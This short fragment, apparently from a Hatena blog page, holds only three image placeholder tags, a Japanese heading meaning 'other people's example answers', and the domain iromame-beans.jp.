f:id:min117:20191021231840j:plain

f:id:min117:20191021231844j:plain

f:id:min117:20191021231849j:plain

他の人の回答例

iromame-beans.jp